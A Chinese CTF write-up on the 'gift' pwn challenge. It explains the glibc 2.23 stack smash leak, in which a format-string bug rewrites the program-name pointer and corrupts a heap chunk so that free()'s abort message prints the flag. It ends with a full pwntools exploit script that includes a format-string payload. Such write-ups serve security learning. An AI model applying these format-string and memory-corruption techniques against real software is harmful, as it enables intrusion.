学到的知识
stack smash
通过free等函数的报错中的打印来泄露栈上的指针指向的内容,比如:

这是正常情况下的报错打印。‘./gift’这串字符是放在哪里的呢?

我们只要修改箭头处栈上的指针为存放字符串的指针,就能利用报错打印想要的字符串了如flag
版本
2.23-11.3
保护

虽然没开canary,但是和开了差不多
逆向分析

结合gdb:

能看出红色箭头处可以泄露出这个保存着flag的堆的指针

这里能泄露栈地址,然后后面接一个格式化字符串漏洞
思路历程
一开始的想法
栈题做多了总想ret2,这题其实如果没有exit有一个很不错的利用:我们做堆题的时候大抵都做过改free_hook的题,将free(ptr)改成system(‘/bin/sh’)。这题其实如果是return 0而不是exit(0)的话,可以考虑在第一次fmt的时候,改rbp+8的返回地址的低四位,使得ret2start,同时泄露libc。然后就可以在第二次的fmt的时候,将栈上布置好free_hook,free_hook+2,free_hook+4,再fmt就可改free_hook为puts达到puts(ptr)的目的
但是出题人很机智的规避了这个做法,应该是想到了同样的利用思路,%%%
后来的做法
想不出思路就去ctfwiki找灵感,找到了之前瞥见过一眼的stack smash。那么利用思路就很明显了,通过fmt打free_hook一样的布局方式,修改文件名称处的指针为泄露出来的堆指针。同时fmt修改堆的pre_size为0(或者其它能报错的大小,修改成0不用用到%c)达到报错打印的目的
运行结果

exp
from pwn import *
from hashlib import sha256
import base64
##context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
r=process('./gift')
libc=ELF('./libc-2.23.so')
elf=ELF('./gift')
r=remote('node4.buuoj.cn',28706)
def z():
gdb.attach(r)
if __name__ == '__main__':
##z()
print('test1:'+hex(elf.got['free']))
print('test2:'+hex(elf.got['puts']))
r.sendafter("What's your name?\n",'nameless')
r.recvuntil('nameless')
gift=u64(r.recv(6).ljust(8,'\x00'))
log.success('gift:'+hex(gift))
r.sendafter("Do you want it?\n",'Yes\n')
r.recvuntil("Here is your gift:")
heap=int(r.recvuntil('\n',drop=True),16)+8##+0x1a8##+(0xe8-0x30)
s1=heap+0x1a0
s2=s1+2
s3=s1+4
log.success('heap:'+hex(heap))
##log.success('stack:'+hex(stack))
a=gift>>32 & 0xffff
b=gift>>16 & 0xffff
c=gift & 0xffff
log.success('a:'+hex(a))
log.success('b:'+hex(b))
log.success('c:'+hex(c))
##pd="%{}c%14$hn".format(heap & 0xffff)
pd="%22$hhn%{}c%23$hn%{}c%24$hn%{}c%25$hn".format(a,b-a,c-b)
##pd="%22$hhn".format(a,b-a,c-b)
##pd="%{}c%15$hnn%{}c".format(0x50,(heap & 0xffff)-0x50)
print('len'+str(len(pd)))
pd=pd.ljust(0x50,'\x00')+p64(gift-8)+p64(s3)+p64(s2)+p64(s1)
##z()
r.sendafter("Now,to find your flag in the gift!",pd)
r.interactive()